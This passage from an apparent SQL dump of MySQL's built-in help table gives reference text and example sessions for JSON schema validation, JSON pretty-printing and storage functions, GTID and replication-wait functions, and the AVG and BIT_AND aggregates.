180\n \'> }\n \'> }\n \'>}\';\nQuery OK, 0 rows affected (0.00 sec)\n\n\nmysql> SELECT JSON_SCHEMA_VALID(@schema, @document);\n+---------------------------------------+\n| JSON_SCHEMA_VALID(@schema, @document) |\n+---------------------------------------+\n| 1 |\n+---------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> CREATE TABLE geo (\n -> coordinate JSON,\n -> CHECK(\n -> JSON_SCHEMA_VALID(\n -> \'{\n \'> \"type\":\"object\",\n \'> \"properties\":{\n \'> \"latitude\":{\"type\":\"number\", \"minimum\":-90, \"maximum\":90},\n \'> \"longitude\":{\"type\":\"number\", \"minimum\":-180, \"maximum\":180}\n \'> },\n \'> \"required\": [\"latitude\", \"longitude\"]\n \'> }\',\n -> coordinate\n -> )\n -> )\n -> );\nQuery OK, 0 rows affected (0.45 sec)\n\nmysql> SET @point1 = \'{\"latitude\":59, \"longitude\":18}\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SET @point2 = \'{\"latitude\":91, \"longitude\":0}\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SET @point3 = \'{\"longitude\":120}\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> INSERT INTO geo VALUES(@point1);\nQuery OK, 1 row affected (0.05 sec)\n\nmysql> INSERT INTO geo VALUES(@point2);\nERROR 3819 (HY000): Check constraint \'geo_chk_1\' is violated.\n\nmysql> SHOW WARNINGS\\G\n*************************** 1. row ***************************\n Level: Error\n Code: 3934\nMessage: The JSON document location \'#/latitude\' failed requirement \'maximum\' at\nJSON Schema location \'#/properties/latitude\'.\n*************************** 2. row ***************************\n Level: Error\n Code: 3819\nMessage: Check constraint \'geo_chk_1\' is violated.\n2 rows in set (0.00 sec)\n\nmysql> INSERT INTO geo VALUES(@point3);\nERROR 3819 (HY000): Check constraint \'geo_chk_1\' is violated.\nmysql> SHOW WARNINGS\\G\n*************************** 1. row ***************************\n Level: Error\n Code: 3934\nMessage: The JSON document location \'#\' failed requirement \'required\' at JSON\nSchema location \'#\'.\n*************************** 2. row ***************************\n Level: Error\n Code: 3819\nMessage: Check constraint \'geo_chk_1\' is violated.\n2 rows in set (0.00 sec)\n\nmysql> SELECT JSON_SCHEMA_VALID(\'{\"type\":\"string\",\"pattern\":\"(\"}\', \'\"abc\"\');\n+---------------------------------------------------------------+\n| JSON_SCHEMA_VALID(\'{\"type\":\"string\",\"pattern\":\"(\"}\', \'\"abc\"\') |\n+---------------------------------------------------------------+\n| 1 |\n+---------------------------------------------------------------+\n1 row in set (0.04 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/json-validation-functions.html'),(412,'JSON_SCHEMA_VALIDATION_REPORT',32,'JSON_SCHEMA_VALIDATION_REPORT(schema,document)\n\nValidates a JSON document against a JSON schema. Both schema and\ndocument are required. As with JSON_VALID_SCHEMA(), the schema must be\na valid JSON object, and the document must be a valid JSON document.\nProvided that these conditions are met, the function returns a report,\nas a JSON document, on the outcome of the validation. If the JSON\ndocument is considered valid according to the JSON Schema, the function\nreturns a JSON object with one property valid having the value \"true\".\nIf the JSON document fails validation, the function returns a JSON\nobject which includes the properties listed here:\n\no valid: Always \"false\" for a failed schema validation\n\no reason: A human-readable string containing the reason for the failure\n\no schema-location: A JSON pointer URI fragment identifier indicating\n where in the JSON schema the validation failed (see Note following\n this list)\n\no document-location: A JSON pointer URI fragment identifier indicating\n where in the JSON document the validation failed (see Note following\n this list)\n\no schema-failed-keyword: A string containing the name of the keyword or\n property in the JSON schema that was violated\n\n*Note*:\n\nJSON pointer URI fragment identifiers are defined in RFC 6901 -\nJavaScript Object Notation (JSON) Pointer\n(https://tools.ietf.org/html/rfc6901#page-5). (These are not the same\nas the JSON path notation used by JSON_EXTRACT() and other MySQL JSON\nfunctions.) In this notation, # represents the entire document, and\n#/myprop represents the portion of the document included in the\ntop-level property named myprop. See the specification just cited and\nthe examples shown later in this section for more information.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-validation-functions.html\n\n','mysql> SET @schema = \'{\n \'> \"id\": \"http://json-schema.org/geo\",\n \'> \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n \'> \"description\": \"A geographical coordinate\",\n \'> \"type\": \"object\",\n \'> \"properties\": {\n \'> \"latitude\": {\n \'> \"type\": \"number\",\n \'> \"minimum\": -90,\n \'> \"maximum\": 90\n \'> },\n \'> \"longitude\": {\n \'> \"type\": \"number\",\n \'> \"minimum\": -180,\n \'> \"maximum\": 180\n \'> }\n \'> },\n \'> \"required\": [\"latitude\", \"longitude\"]\n \'>}\';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> SET @document = \'{\n \'> \"latitude\": 63.444697,\n \'> \"longitude\": 10.445118\n \'>}\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT JSON_SCHEMA_VALIDATION_REPORT(@schema, @document);\n+---------------------------------------------------+\n| JSON_SCHEMA_VALIDATION_REPORT(@schema, @document) |\n+---------------------------------------------------+\n| {\"valid\": true} |\n+---------------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SET @document = \'{\n \'> \"latitude\": 63.444697,\n \'> \"longitude\": 310.445118\n \'> }\';\n\nmysql> SELECT JSON_PRETTY(JSON_SCHEMA_VALIDATION_REPORT(@schema, @document))\\G\n*************************** 1. row ***************************\nJSON_PRETTY(JSON_SCHEMA_VALIDATION_REPORT(@schema, @document)): {\n \"valid\": false,\n \"reason\": \"The JSON document location \'#/longitude\' failed requirement \'maximum\' at JSON Schema location \'#/properties/longitude\'\",\n \"schema-location\": \"#/properties/longitude\",\n \"document-location\": \"#/longitude\",\n \"schema-failed-keyword\": \"maximum\"\n}\n1 row in set (0.00 sec)\n\nmysql> SET @document = \'{}\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT JSON_PRETTY(JSON_SCHEMA_VALIDATION_REPORT(@schema, @document))\\G\n*************************** 1. row ***************************\nJSON_PRETTY(JSON_SCHEMA_VALIDATION_REPORT(@schema, @document)): {\n \"valid\": false,\n \"reason\": \"The JSON document location \'#\' failed requirement \'required\' at JSON Schema location \'#\'\",\n \"schema-location\": \"#\",\n \"document-location\": \"#\",\n \"schema-failed-keyword\": \"required\"\n}\n1 row in set (0.00 sec)\n\nmysql> SET @schema = \'{\n \'> \"id\": \"http://json-schema.org/geo\",\n \'> \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n \'> \"description\": \"A geographical coordinate\",\n \'> \"type\": \"object\",\n \'> \"properties\": {\n \'> \"latitude\": {\n \'> \"type\": \"number\",\n \'> \"minimum\": -90,\n \'> \"maximum\": 90\n \'> },\n \'> \"longitude\": {\n \'> \"type\": \"number\",\n \'> \"minimum\": -180,\n \'> \"maximum\": 180\n \'> }\n \'> }\n \'>}\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT JSON_SCHEMA_VALIDATION_REPORT(@schema, @document);\n+---------------------------------------------------+\n| JSON_SCHEMA_VALIDATION_REPORT(@schema, @document) |\n+---------------------------------------------------+\n| {\"valid\": true} |\n+---------------------------------------------------+\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/json-validation-functions.html'),(413,'JSON_PRETTY',32,'JSON_PRETTY(json_val)\n\nProvides pretty-printing of JSON values similar to that implemented in\nPHP and by other languages and database systems. The value supplied\nmust be a JSON value or a valid string representation of a JSON value.\nExtraneous whitespaces and newlines present in this value have no\neffect on the output. For a NULL value, the function returns NULL. If\nthe value is not a JSON document, or if it cannot be parsed as one, the\nfunction fails with an error.\n\nFormatting of the output from this function adheres to the following\nrules:\n\no Each array element or object member appears on a separate line,\n indented by one additional level as compared to its parent.\n\no Each level of indentation adds two leading spaces.\n\no A comma separating individual array elements or object members is\n printed before the newline that separates the two elements or\n members.\n\no The key and the value of an object member are separated by a colon\n followed by a space (\': \').\n\no An empty object or array is printed on a single line. No space is\n printed between the opening and closing brace.\n\no Special characters in string scalars and key names are escaped\n employing the same rules used by the JSON_QUOTE() function.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html\n\n','mysql> SELECT JSON_PRETTY(\'123\'); # scalar\n+--------------------+\n| JSON_PRETTY(\'123\') |\n+--------------------+\n| 123 |\n+--------------------+\n\nmysql> SELECT JSON_PRETTY(\"[1,3,5]\"); # array\n+------------------------+\n| JSON_PRETTY(\"[1,3,5]\") |\n+------------------------+\n| [\n 1,\n 3,\n 5\n] |\n+------------------------+\n\nmysql> SELECT JSON_PRETTY(\'{\"a\":\"10\",\"b\":\"15\",\"x\":\"25\"}\'); # object\n+---------------------------------------------+\n| JSON_PRETTY(\'{\"a\":\"10\",\"b\":\"15\",\"x\":\"25\"}\') |\n+---------------------------------------------+\n| {\n \"a\": \"10\",\n \"b\": \"15\",\n \"x\": \"25\"\n} |\n+---------------------------------------------+\n\nmysql> SELECT JSON_PRETTY(\'[\"a\",1,{\"key1\":\n \'> \"value1\"},\"5\", \"77\" ,\n \'> {\"key2\":[\"value3\",\"valueX\",\n \'> \"valueY\"]},\"j\", \"2\" ]\')\\G # nested arrays and objects\n*************************** 1. row ***************************\nJSON_PRETTY(\'[\"a\",1,{\"key1\":\n \"value1\"},\"5\", \"77\" ,\n {\"key2\":[\"value3\",\"valuex\",\n \"valuey\"]},\"j\", \"2\" ]\'): [\n \"a\",\n 1,\n {\n \"key1\": \"value1\"\n },\n \"5\",\n \"77\",\n {\n \"key2\": [\n \"value3\",\n \"valuex\",\n \"valuey\"\n ]\n },\n \"j\",\n \"2\"\n]\n','https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html'),(414,'JSON_STORAGE_FREE',32,'JSON_STORAGE_FREE(json_val)\n\nFor a JSON column value, this function shows how much storage space was\nfreed in its binary representation after it was updated in place using\nJSON_SET(), JSON_REPLACE(), or JSON_REMOVE(). The argument can also be\na valid JSON document or a string which can be parsed as one---either\nas a literal value or as the value of a user variable---in which case\nthe function returns 0. It returns a positive, nonzero value if the\nargument is a JSON column value which has been updated as described\npreviously, such that its binary representation takes up less space\nthan it did prior to the update. For a JSON column which has been\nupdated such that its binary representation is the same as or larger\nthan before, or if the update was not able to take advantage of a\npartial update, it returns 0; it returns NULL if the argument is NULL.\n\nIf json_val is not NULL, and neither is a valid JSON document nor can\nbe successfully parsed as one, an error results.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html\n\n','mysql> CREATE TABLE jtable (jcol JSON);\nQuery OK, 0 rows affected (0.38 sec)\n\nmysql> INSERT INTO jtable VALUES\n -> (\'{\"a\": 10, \"b\": \"wxyz\", \"c\": \"[true, false]\"}\');\nQuery OK, 1 row affected (0.04 sec)\n\nmysql> SELECT * FROM jtable;\n+----------------------------------------------+\n| jcol |\n+----------------------------------------------+\n| {\"a\": 10, \"b\": \"wxyz\", \"c\": \"[true, false]\"} |\n+----------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> UPDATE jtable\n -> SET jcol = JSON_SET(jcol, \"$.a\", 10, \"$.b\", \"wxyz\", \"$.c\", 1);\nQuery OK, 1 row affected (0.03 sec)\nRows matched: 1 Changed: 1 Warnings: 0\n\nmysql> SELECT * FROM jtable;\n+--------------------------------+\n| jcol |\n+--------------------------------+\n| {\"a\": 10, \"b\": \"wxyz\", \"c\": 1} |\n+--------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_STORAGE_FREE(jcol) FROM jtable;\n+-------------------------+\n| JSON_STORAGE_FREE(jcol) |\n+-------------------------+\n| 14 |\n+-------------------------+\n1 row in set (0.00 sec)\n\nmysql> UPDATE jtable\n -> SET jcol = JSON_SET(jcol, \"$.a\", 10, \"$.b\", \"wx\", \"$.c\", 1);\nQuery OK, 1 row affected (0.03 sec)\nRows matched: 1 Changed: 1 Warnings: 0\n\nmysql> SELECT JSON_STORAGE_FREE(jcol) FROM jtable;\n+-------------------------+\n| JSON_STORAGE_FREE(jcol) |\n+-------------------------+\n| 16 |\n+-------------------------+\n1 row in set (0.00 sec)\n\nmysql> UPDATE jtable SET jcol = \'{\"a\": 10, \"b\": 1}\';\nQuery OK, 1 row affected (0.05 sec)\nRows matched: 1 Changed: 1 Warnings: 0\n\nmysql> SELECT JSON_STORAGE_FREE(jcol) FROM jtable;\n+-------------------------+\n| JSON_STORAGE_FREE(jcol) |\n+-------------------------+\n| 0 |\n+-------------------------+\n1 row in set (0.00 sec)\n\nmysql> SET @j = \'{\"a\": 10, \"b\": \"wxyz\", \"c\": \"[true, false]\"}\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SET @j = JSON_SET(@j, \'$.a\', 10, \'$.b\', \'wxyz\', \'$.c\', \'1\');\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT @j, JSON_STORAGE_FREE(@j) AS Free;\n+----------------------------------+------+\n| @j | Free |\n+----------------------------------+------+\n| {\"a\": 10, \"b\": \"wxyz\", \"c\": \"1\"} | 0 |\n+----------------------------------+------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_STORAGE_FREE(\'{\"a\": 10, \"b\": \"wxyz\", \"c\": \"1\"}\') AS Free;\n+------+\n| Free |\n+------+\n| 0 |\n+------+\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html'),(415,'JSON_STORAGE_SIZE',32,'JSON_STORAGE_SIZE(json_val)\n\nThis function returns the number of bytes used to store the binary\nrepresentation of a JSON document. When the argument is a JSON column,\nthis is the space used to store the JSON document as it was inserted\ninto the column, prior to any partial updates that may have been\nperformed on it afterwards. json_val must be a valid JSON document or a\nstring which can be parsed as one. In the case where it is string, the\nfunction returns the amount of storage space in the JSON binary\nrepresentation that is created by parsing the string as JSON and\nconverting it to binary. It returns NULL if the argument is NULL.\n\nAn error results when json_val is not NULL, and is not---or cannot be\nsuccessfully parsed as---a JSON document.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html\n\n','mysql> CREATE TABLE jtable (jcol JSON);\nQuery OK, 0 rows affected (0.42 sec)\n\nmysql> INSERT INTO jtable VALUES\n -> (\'{\"a\": 1000, \"b\": \"wxyz\", \"c\": \"[1, 3, 5, 7]\"}\');\nQuery OK, 1 row affected (0.04 sec)\n\nmysql> SELECT\n -> jcol,\n -> JSON_STORAGE_SIZE(jcol) AS Size,\n -> JSON_STORAGE_FREE(jcol) AS Free\n -> FROM jtable;\n+-----------------------------------------------+------+------+\n| jcol | Size | Free |\n+-----------------------------------------------+------+------+\n| {\"a\": 1000, \"b\": \"wxyz\", \"c\": \"[1, 3, 5, 7]\"} | 47 | 0 |\n+-----------------------------------------------+------+------+\n1 row in set (0.00 sec)\n\nmysql> UPDATE jtable SET jcol = \n -> JSON_SET(jcol, \"$.b\", \"a\");\nQuery OK, 1 row affected (0.04 sec)\nRows matched: 1 Changed: 1 Warnings: 0\n\nmysql> SELECT\n -> jcol,\n -> JSON_STORAGE_SIZE(jcol) AS Size,\n -> JSON_STORAGE_FREE(jcol) AS Free\n -> FROM jtable;\n+--------------------------------------------+------+------+\n| jcol | Size | Free |\n+--------------------------------------------+------+------+\n| {\"a\": 1000, \"b\": \"a\", \"c\": \"[1, 3, 5, 7]\"} | 47 | 3 |\n+--------------------------------------------+------+------+\n1 row in set (0.00 sec)\n\nmysql> UPDATE jtable\nmysql> SET jcol = \'{\"a\": 4.55, \"b\": \"wxyz\", \"c\": \"[true, false]\"}\';\nQuery OK, 1 row affected (0.04 sec)\nRows matched: 1 Changed: 1 Warnings: 0\n\nmysql> SELECT\n -> jcol,\n -> JSON_STORAGE_SIZE(jcol) AS Size,\n -> JSON_STORAGE_FREE(jcol) AS Free\n -> FROM jtable;\n+------------------------------------------------+------+------+\n| jcol | Size | Free |\n+------------------------------------------------+------+------+\n| {\"a\": 4.55, \"b\": \"wxyz\", \"c\": \"[true, false]\"} | 56 | 0 |\n+------------------------------------------------+------+------+\n1 row in set (0.00 sec)\n\nmysql> SET @j = \'[100, \"sakila\", [1, 3, 5], 425.05]\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT @j, JSON_STORAGE_SIZE(@j) AS Size;\n+------------------------------------+------+\n| @j | Size |\n+------------------------------------+------+\n| [100, \"sakila\", [1, 3, 5], 425.05] | 45 |\n+------------------------------------+------+\n1 row in set (0.00 sec)\n\nmysql> SET @j = JSON_SET(@j, \'$[1]\', \"json\");\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT @j, JSON_STORAGE_SIZE(@j) AS Size;\n+----------------------------------+------+\n| @j | Size |\n+----------------------------------+------+\n| [100, \"json\", [1, 3, 5], 425.05] | 43 |\n+----------------------------------+------+\n1 row in set (0.00 sec)\n\nmysql> SET @j = JSON_SET(@j, \'$[2][0]\', JSON_ARRAY(10, 20, 30));\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT @j, JSON_STORAGE_SIZE(@j) AS Size;\n+---------------------------------------------+------+\n| @j | Size |\n+---------------------------------------------+------+\n| [100, \"json\", [[10, 20, 30], 3, 5], 425.05] | 56 |\n+---------------------------------------------+------+\n1 row in set (0.00 sec)\n\nmysql> SELECT\n -> JSON_STORAGE_SIZE(\'[100, \"sakila\", [1, 3, 5], 425.05]\') AS A,\n -> JSON_STORAGE_SIZE(\'{\"a\": 1000, \"b\": \"a\", \"c\": \"[1, 3, 5, 7]\"}\') AS B,\n -> JSON_STORAGE_SIZE(\'{\"a\": 1000, \"b\": \"wxyz\", \"c\": \"[1, 3, 5, 7]\"}\') AS C,\n -> JSON_STORAGE_SIZE(\'[100, \"json\", [[10, 20, 30], 3, 5], 425.05]\') AS D;\n+----+----+----+----+\n| A | B | C | D |\n+----+----+----+----+\n| 45 | 44 | 47 | 56 |\n+----+----+----+----+\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html'),(416,'GTID_SUBSET',33,'Syntax:\nGTID_SUBSET(set1,set2)\n\nGiven two sets of global transaction identifiers set1 and set2, returns\ntrue if all GTIDs in set1 are also in set2. Returns NULL if set1 or\nset2 is NULL. Returns false otherwise.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gtid-functions.html\n\n','mysql> SELECT GTID_SUBSET(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:23\',\n -> \'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\')\\G\n*************************** 1. row ***************************\nGTID_SUBSET(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:23\',\n \'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\'): 1\n1 row in set (0.00 sec)\n\nmysql> SELECT GTID_SUBSET(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:23-25\',\n -> \'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\')\\G\n*************************** 1. row ***************************\nGTID_SUBSET(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:23-25\',\n \'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\'): 1\n1 row in set (0.00 sec)\n\nmysql> SELECT GTID_SUBSET(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25\',\n -> \'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\')\\G\n*************************** 1. row ***************************\nGTID_SUBSET(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25\',\n \'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\'): 0\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/gtid-functions.html'),(417,'GTID_SUBTRACT',33,'Syntax:\nGTID_SUBTRACT(set1,set2)\n\nGiven two sets of global transaction identifiers set1 and set2, returns\nonly those GTIDs from set1 that are not in set2. Returns NULL if set1\nor set2 is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gtid-functions.html\n\n','mysql> SELECT GTID_SUBTRACT(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\',\n -> \'3E11FA47-71CA-11E1-9E33-C80AA9429562:21\')\\G\n*************************** 1. row ***************************\nGTID_SUBTRACT(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\',\n \'3E11FA47-71CA-11E1-9E33-C80AA9429562:21\'): 3e11fa47-71ca-11e1-9e33-c80aa9429562:22-57\n1 row in set (0.00 sec)\n\nmysql> SELECT GTID_SUBTRACT(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\',\n -> \'3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25\')\\G\n*************************** 1. row ***************************\nGTID_SUBTRACT(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\',\n \'3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25\'): 3e11fa47-71ca-11e1-9e33-c80aa9429562:26-57\n1 row in set (0.00 sec)\n\nmysql> SELECT GTID_SUBTRACT(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\',\n -> \'3E11FA47-71CA-11E1-9E33-C80AA9429562:23-24\')\\G\n*************************** 1. row ***************************\nGTID_SUBTRACT(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57\',\n \'3E11FA47-71CA-11E1-9E33-C80AA9429562:23-24\'): 3e11fa47-71ca-11e1-9e33-c80aa9429562:21-22:25-57\n1 row in set (0.01 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/gtid-functions.html'),(418,'WAIT_FOR_EXECUTED_GTID_SET',33,'Syntax:\nWAIT_FOR_EXECUTED_GTID_SET(gtid_set[, timeout])\n\nWait until the server has applied all of the transactions whose global\ntransaction identifiers are contained in gtid_set; that is, until the\ncondition GTID_SUBSET(gtid_subset, @@GLOBAL.gtid_executed) holds. See\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-gtids-concepts.html\nfor a definition of GTID sets.\n\nIf a timeout is specified, and timeout seconds elapse before all of the\ntransactions in the GTID set have been applied, the function stops\nwaiting. timeout is optional, and the default timeout is 0 seconds, in\nwhich case the function always waits until all of the transactions in\nthe GTID set have been applied. timeout must be greater than or equal\nto 0; when running in strict SQL mode, a negative timeout value is\nimmediately rejected with an error (ER_WRONG_ARGUMENTS\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_wrong_arguments)); otherwise the function returns NULL,\nand raises a warning.\n\nWAIT_FOR_EXECUTED_GTID_SET() monitors all the GTIDs that are applied on\nthe server, including transactions that arrive from all replication\nchannels and user clients. It does not take into account whether\nreplication channels have been started or stopped.\n\nFor more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-gtids.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gtid-functions.html\n\n','mysql> SELECT WAIT_FOR_EXECUTED_GTID_SET(\'3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5\');\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/gtid-functions.html'),(419,'WAIT_UNTIL_SQL_THREAD_AFTER_GTIDS',33,'Syntax:\nWAIT_UNTIL_SQL_THREAD_AFTER_GTIDS(gtid_set[, timeout][,channel])\n\nWAIT_UNTIL_SQL_THREAD_AFTER_GTIDS() is deprecated. Use\nWAIT_FOR_EXECUTED_GTID_SET() instead, which works regardless of the\nreplication channel or user client through which the specified\ntransactions arrive on the server.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gtid-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gtid-functions.html'),(420,'MASTER_POS_WAIT',33,'Syntax:\nMASTER_POS_WAIT(log_name,log_pos[,timeout][,channel])\n\nThis function is for control of source-replica synchronization. It\nblocks until the replica has read and applied all updates up to the\nspecified position in the source\'s binary log. From MySQL 8.0.26,\nMASTER_POS_WAIT() is deprecated and the alias SOURCE_POS_WAIT() should\nbe used instead. In releases before MySQL 8.0.26, use\nMASTER_POS_WAIT().\n\nThe return value is the number of log events the replica had to wait\nfor to advance to the specified position. The function returns NULL if\nthe replication SQL thread is not started, the replica\'s source\ninformation is not initialized, the arguments are incorrect, or an\nerror occurs. It returns -1 if the timeout has been exceeded. If the\nreplication SQL thread stops while MASTER_POS_WAIT() is waiting, the\nfunction returns NULL. If the replica is past the specified position,\nthe function returns immediately.\n\nIf the binary log file position has been marked as invalid, the\nfunction waits until a valid file position is known. The binary log\nfile position can be marked as invalid when the CHANGE REPLICATION\nSOURCE TO option GTID_ONLY is set for the replication channel, and the\nserver is restarted or replication is stopped. The file position\nbecomes valid after a transaction is successfully applied past the\ngiven file position. If the applier does not reach the stated position,\nthe function waits until the timeout. Use a SHOW REPLICA STATUS\nstatement to check if the binary log file position has been marked as\ninvalid.\n\nOn a multithreaded replica, the function waits until expiry of the\nlimit set by the replica_checkpoint_group, slave_checkpoint_group,\nreplica_checkpoint_period or slave_checkpoint_period system variable,\nwhen the checkpoint operation is called to update the status of the\nreplica. Depending on the setting for the system variables, the\nfunction might therefore return some time after the specified position\nwas reached.\n\nIf binary log transaction compression is in use and the transaction\npayload at the specified position is compressed (as a\nTransaction_payload_event), the function waits until the whole\ntransaction has been read and applied, and the positions have updated.\n\nIf a timeout value is specified, MASTER_POS_WAIT() stops waiting when\ntimeout seconds have elapsed. timeout must be greater than or equal to\n0. (When the server is running in strict SQL mode, a negative timeout\nvalue is immediately rejected with ER_WRONG_ARGUMENTS\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_wrong_arguments); otherwise the function returns NULL, and\nraises a warning.)\n\nThe optional channel value enables you to name which replication\nchannel the function applies to. See\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-channels.html for\nmore information.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/replication-functions-synchronization.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/replication-functions-synchronization.html'),(421,'SOURCE_POS_WAIT',33,'Syntax:\nSOURCE_POS_WAIT(log_name,log_pos[,timeout][,channel])\n\nThis function is for control of source-replica synchronization. It\nblocks until the replica has read and applied all updates up to the\nspecified position in the source\'s binary log. From MySQL 8.0.26, use\nSOURCE_POS_WAIT() in place of MASTER_POS_WAIT(), which is deprecated\nfrom that release. In releases before MySQL 8.0.26, use\nMASTER_POS_WAIT().\n\nThe return value is the number of log events the replica had to wait\nfor to advance to the specified position. The function returns NULL if\nthe replication SQL thread is not started, the replica\'s source\ninformation is not initialized, the arguments are incorrect, or an\nerror occurs. It returns -1 if the timeout has been exceeded. If the\nreplication SQL thread stops while SOURCE_POS_WAIT() is waiting, the\nfunction returns NULL. If the replica is past the specified position,\nthe function returns immediately.\n\nIf the binary log file position has been marked as invalid, the\nfunction waits until a valid file position is known. The binary log\nfile position can be marked as invalid when the CHANGE REPLICATION\nSOURCE TO option GTID_ONLY is set for the replication channel, and the\nserver is restarted or replication is stopped. The file position\nbecomes valid after a transaction is successfully applied past the\ngiven file position. If the applier does not reach the stated position,\nthe function waits until the timeout. Use a SHOW REPLICA STATUS\nstatement to check if the binary log file position has been marked as\ninvalid.\n\nOn a multithreaded replica, the function waits until expiry of the\nlimit set by the replica_checkpoint_group or replica_checkpoint_period\nsystem variable, when the checkpoint operation is called to update the\nstatus of the replica. Depending on the setting for the system\nvariables, the function might therefore return some time after the\nspecified position was reached.\n\nIf binary log transaction compression is in use and the transaction\npayload at the specified position is compressed (as a\nTransaction_payload_event), the function waits until the whole\ntransaction has been read and applied, and the positions have updated.\n\nIf a timeout value is specified, SOURCE_POS_WAIT() stops waiting when\ntimeout seconds have elapsed. timeout must be greater than or equal to\n0. (In strict SQL mode, a negative timeout value is immediately\nrejected with ER_WRONG_ARGUMENTS\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_wrong_arguments); otherwise the function returns NULL, and\nraises a warning.)\n\nThe optional channel value enables you to name which replication\nchannel the function applies to. See\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-channels.html for\nmore information.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/replication-functions-synchronization.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/replication-functions-synchronization.html'),(422,'AVG',34,'Syntax:\nAVG([DISTINCT] expr) [over_clause]\n\nReturns the average value of expr. The DISTINCT option can be used to\nreturn the average of the distinct values of expr.\n\nIf there are no matching rows, AVG() returns NULL. The function also\nreturns NULL if expr is NULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html; it\ncannot be used with DISTINCT.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','mysql> SELECT student_name, AVG(test_score)\n FROM student\n GROUP BY student_name;\n','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(423,'BIT_AND',34,'Syntax:\nBIT_AND(expr) [over_clause]\n\nReturns the bitwise AND of all bits in expr.\n\nThe result type depends on whether the function argument values are\nevaluated as binary strings or numbers:\n\no Binary-string evaluation occurs when the argument values have a\n binary string type, and the argument is not a hexadecimal literal,\n bit literal, or NULL literal. Numeric evaluation occurs otherwise,\n with argument value conversion to unsigned 64-bit integers as\n necessary.\n\no Binary-string evaluation produces a binary string of the same length\n as the argument values. If argument values have unequal lengths, an\n ER_INVALID_BITWISE_OPERANDS_SIZE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_invalid_bitwise_operands_size) error occurs. If the\n argument size exceeds 511 bytes, an\n ER_INVALID_BITWISE_AGGREGATE_OPERANDS_SIZE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_invalid_bitwise_aggregate_operands_size) error occurs.\n Numeric evaluation produces an unsigned 64-bit integer.\n\nIf there are no matching rows, BIT_AND() returns a neutral value (all\nbits set to 1) having the same length as the argument values.\n\nNULL values do not affect the result unless all values are NULL. In\nthat case, the result is a neutral value having the same length as the\nargument 